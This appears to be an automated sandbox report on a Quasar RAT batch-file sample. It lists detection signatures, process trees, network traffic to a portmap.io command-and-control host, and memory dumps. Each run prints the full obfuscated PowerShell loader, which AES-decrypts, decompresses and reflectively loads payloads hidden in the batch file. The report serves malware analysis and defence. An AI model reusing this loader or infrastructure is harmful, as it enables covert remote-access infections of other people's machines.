Malware Analysis Report

2024-10-23 19:04

Sample ID 240629-acemsawbla
Target Neo.bat
SHA256 f8310b9b5ae9c3f90b01d84c8022b6fdd7bbd29ba56a600d948be6eff75d426f
Tags
quasar slave execution spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f8310b9b5ae9c3f90b01d84c8022b6fdd7bbd29ba56a600d948be6eff75d426f

Threat Level: Known bad

The file Neo.bat was found to be: Known bad.

Malicious Activity Summary

quasar slave execution spyware trojan

Quasar RAT

Quasar payload

Command and Scripting Interpreter: PowerShell

Blocklisted process makes network request

Looks up external IP address via web service

Program crash

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-29 00:03

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-29 00:03

Reported

2024-06-29 00:06

Platform

win10-20240404-en

Max time kernel

146s

Max time network

148s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3648 wrote to memory of 2212 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3648 wrote to memory of 2212 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3648 wrote to memory of 2212 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cQOtDanpy2r1fIq2RmiAP3pi2F+wAyCLQ56qZLg4djg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbayyMB6uwbPJLlahgTXHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gWazs=New-Object System.IO.MemoryStream(,$param_var); $Cqmzr=New-Object System.IO.MemoryStream; $aiCtn=New-Object System.IO.Compression.GZipStream($gWazs, [IO.Compression.CompressionMode]::Decompress); $aiCtn.CopyTo($Cqmzr); $aiCtn.Dispose(); $gWazs.Dispose(); $Cqmzr.Dispose(); $Cqmzr.ToArray();}function execute_function($param_var,$param2_var){ $DGfYx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GbNUb=$DGfYx.EntryPoint; $GbNUb.Invoke($null, $param2_var);}$IuUoW = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $IuUoW;$RQVpb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IuUoW).Split([Environment]::NewLine);foreach ($ykdlx in $RQVpb) { if ($ykdlx.StartsWith(':: ')) { $fedhE=$ykdlx.Substring(3); break; }}$payloads_var=[string[]]$fedhE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 runderscore00-42512.portmap.io udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 211.143.182.52.in-addr.arpa udp
US 8.8.8.8:53 131.83.221.88.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp

Files

memory/2212-2-0x00007FFDAA5C0000-0x00007FFDAA79B000-memory.dmp

memory/2212-3-0x0000000004EC0000-0x0000000004EF6000-memory.dmp

memory/2212-4-0x0000000007840000-0x0000000007E68000-memory.dmp

memory/2212-5-0x00000000075E0000-0x0000000007602000-memory.dmp

memory/2212-6-0x0000000007EE0000-0x0000000007F46000-memory.dmp

memory/2212-7-0x0000000007F50000-0x0000000007FB6000-memory.dmp

memory/2212-8-0x0000000007FC0000-0x0000000008310000-memory.dmp

memory/2212-11-0x0000000007800000-0x000000000781C000-memory.dmp

memory/2212-12-0x0000000008870000-0x00000000088BB000-memory.dmp

memory/2212-13-0x0000000008600000-0x0000000008676000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tjaeljl4.s5a.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/2212-28-0x0000000009EA0000-0x000000000A518000-memory.dmp

memory/2212-29-0x0000000009440000-0x000000000945A000-memory.dmp

memory/2212-30-0x0000000009460000-0x0000000009468000-memory.dmp

memory/2212-31-0x0000000009730000-0x00000000097CC000-memory.dmp

memory/2212-32-0x0000000007210000-0x0000000007244000-memory.dmp

memory/2212-33-0x0000000009830000-0x000000000988E000-memory.dmp

memory/2212-34-0x000000000A520000-0x000000000AA1E000-memory.dmp

memory/2212-35-0x00000000099D0000-0x0000000009A62000-memory.dmp

memory/2212-36-0x0000000009960000-0x0000000009972000-memory.dmp

memory/2212-37-0x0000000009D80000-0x0000000009DBE000-memory.dmp

memory/2212-41-0x000000000AA70000-0x000000000AA7A000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-29 00:03

Reported

2024-06-29 00:06

Platform

win10v2004-20240611-en

Max time kernel

149s

Max time network

152s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1044 wrote to memory of 5064 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1044 wrote to memory of 5064 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1044 wrote to memory of 5064 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cQOtDanpy2r1fIq2RmiAP3pi2F+wAyCLQ56qZLg4djg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbayyMB6uwbPJLlahgTXHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gWazs=New-Object System.IO.MemoryStream(,$param_var); $Cqmzr=New-Object System.IO.MemoryStream; $aiCtn=New-Object System.IO.Compression.GZipStream($gWazs, [IO.Compression.CompressionMode]::Decompress); $aiCtn.CopyTo($Cqmzr); $aiCtn.Dispose(); $gWazs.Dispose(); $Cqmzr.Dispose(); $Cqmzr.ToArray();}function execute_function($param_var,$param2_var){ $DGfYx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GbNUb=$DGfYx.EntryPoint; $GbNUb.Invoke($null, $param2_var);}$IuUoW = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $IuUoW;$RQVpb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IuUoW).Split([Environment]::NewLine);foreach ($ykdlx in $RQVpb) { if ($ykdlx.StartsWith(':: ')) { $fedhE=$ykdlx.Substring(3); break; }}$payloads_var=[string[]]$fedhE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4344,i,6041070687820623968,3004230300437737550,262144 --variations-seed-version --mojo-platform-channel-handle=1324 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 runderscore00-42512.portmap.io udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 95.12.20.2.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 131.83.221.88.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 150.171.27.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 10.27.171.150.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
US 8.8.8.8:53 27.73.42.20.in-addr.arpa udp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp
DE 193.161.193.99:42512 runderscore00-42512.portmap.io tcp

Files

memory/5064-0-0x00000000751EE000-0x00000000751EF000-memory.dmp

memory/5064-1-0x0000000005280000-0x00000000052B6000-memory.dmp

memory/5064-2-0x00000000751E0000-0x0000000075990000-memory.dmp

memory/5064-3-0x00000000058F0000-0x0000000005F18000-memory.dmp

memory/5064-4-0x00000000060D0000-0x00000000060F2000-memory.dmp

memory/5064-5-0x0000000006170000-0x00000000061D6000-memory.dmp

memory/5064-6-0x00000000061E0000-0x0000000006246000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_egynhilx.2xe.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5064-12-0x0000000006250000-0x00000000065A4000-memory.dmp

memory/5064-17-0x0000000006750000-0x000000000676E000-memory.dmp

memory/5064-18-0x0000000006CD0000-0x0000000006D1C000-memory.dmp

memory/5064-19-0x0000000007F80000-0x00000000085FA000-memory.dmp

memory/5064-20-0x0000000006CB0000-0x0000000006CCA000-memory.dmp

memory/5064-21-0x0000000007900000-0x0000000007908000-memory.dmp

memory/5064-22-0x00000000079F0000-0x0000000007A8C000-memory.dmp

memory/5064-23-0x0000000005590000-0x00000000055C4000-memory.dmp

memory/5064-24-0x0000000007B90000-0x0000000007BEE000-memory.dmp

memory/5064-25-0x0000000008BB0000-0x0000000009154000-memory.dmp

memory/5064-26-0x0000000007CD0000-0x0000000007D62000-memory.dmp

memory/5064-27-0x0000000007C60000-0x0000000007C72000-memory.dmp

memory/5064-28-0x0000000008700000-0x000000000873C000-memory.dmp

memory/5064-30-0x0000000008820000-0x000000000882A000-memory.dmp

memory/5064-31-0x00000000751E0000-0x0000000075990000-memory.dmp

memory/5064-33-0x00000000751EE000-0x00000000751EF000-memory.dmp

memory/5064-34-0x00000000751E0000-0x0000000075990000-memory.dmp

memory/5064-35-0x00000000751E0000-0x0000000075990000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-06-29 00:03

Reported

2024-06-29 00:06

Platform

win11-20240508-en

Max time kernel

146s

Max time network

150s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A api.ipify.org N/A N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2148 wrote to memory of 3992 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 3992 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2148 wrote to memory of 3992 N/A C:\Windows\system32\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Neo.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cQOtDanpy2r1fIq2RmiAP3pi2F+wAyCLQ56qZLg4djg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JbayyMB6uwbPJLlahgTXHQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $gWazs=New-Object System.IO.MemoryStream(,$param_var); $Cqmzr=New-Object System.IO.MemoryStream; $aiCtn=New-Object System.IO.Compression.GZipStream($gWazs, [IO.Compression.CompressionMode]::Decompress); $aiCtn.CopyTo($Cqmzr); $aiCtn.Dispose(); $gWazs.Dispose(); $Cqmzr.Dispose(); $Cqmzr.ToArray();}function execute_function($param_var,$param2_var){ $DGfYx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GbNUb=$DGfYx.EntryPoint; $GbNUb.Invoke($null, $param2_var);}$IuUoW = 'C:\Users\Admin\AppData\Local\Temp\Neo.bat';$host.UI.RawUI.WindowTitle = $IuUoW;$RQVpb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IuUoW).Split([Environment]::NewLine);foreach ($ykdlx in $RQVpb) { if ($ykdlx.StartsWith(':: ')) { $fedhE=$ykdlx.Substring(3); break; }}$payloads_var=[string[]]$fedhE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3992 -ip 3992

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 2708

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3992 -ip 3992

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 2728

Network

Country Destination Domain Proto
US 8.8.8.8:53 ip-api.com udp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 freegeoip.net udp
US 8.8.8.8:53 api.ipify.org udp

Files

memory/3992-0-0x00000000746AE000-0x00000000746AF000-memory.dmp

memory/3992-1-0x0000000004B80000-0x0000000004BB6000-memory.dmp

memory/3992-3-0x00000000746A0000-0x0000000074E51000-memory.dmp

memory/3992-2-0x0000000005230000-0x000000000585A000-memory.dmp

memory/3992-4-0x00000000746A0000-0x0000000074E51000-memory.dmp

memory/3992-5-0x00000000058C0000-0x00000000058E2000-memory.dmp

memory/3992-6-0x0000000005960000-0x00000000059C6000-memory.dmp

memory/3992-7-0x00000000059D0000-0x0000000005A36000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nnd0cpcb.uvm.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3992-16-0x0000000005A40000-0x0000000005D97000-memory.dmp

memory/3992-17-0x0000000005F00000-0x0000000005F1E000-memory.dmp

memory/3992-18-0x0000000005F40000-0x0000000005F8C000-memory.dmp

memory/3992-19-0x0000000007770000-0x0000000007DEA000-memory.dmp

memory/3992-20-0x0000000006500000-0x000000000651A000-memory.dmp

memory/3992-21-0x00000000070F0000-0x00000000070F8000-memory.dmp

memory/3992-22-0x00000000071E0000-0x000000000727C000-memory.dmp

memory/3992-23-0x0000000007310000-0x0000000007344000-memory.dmp

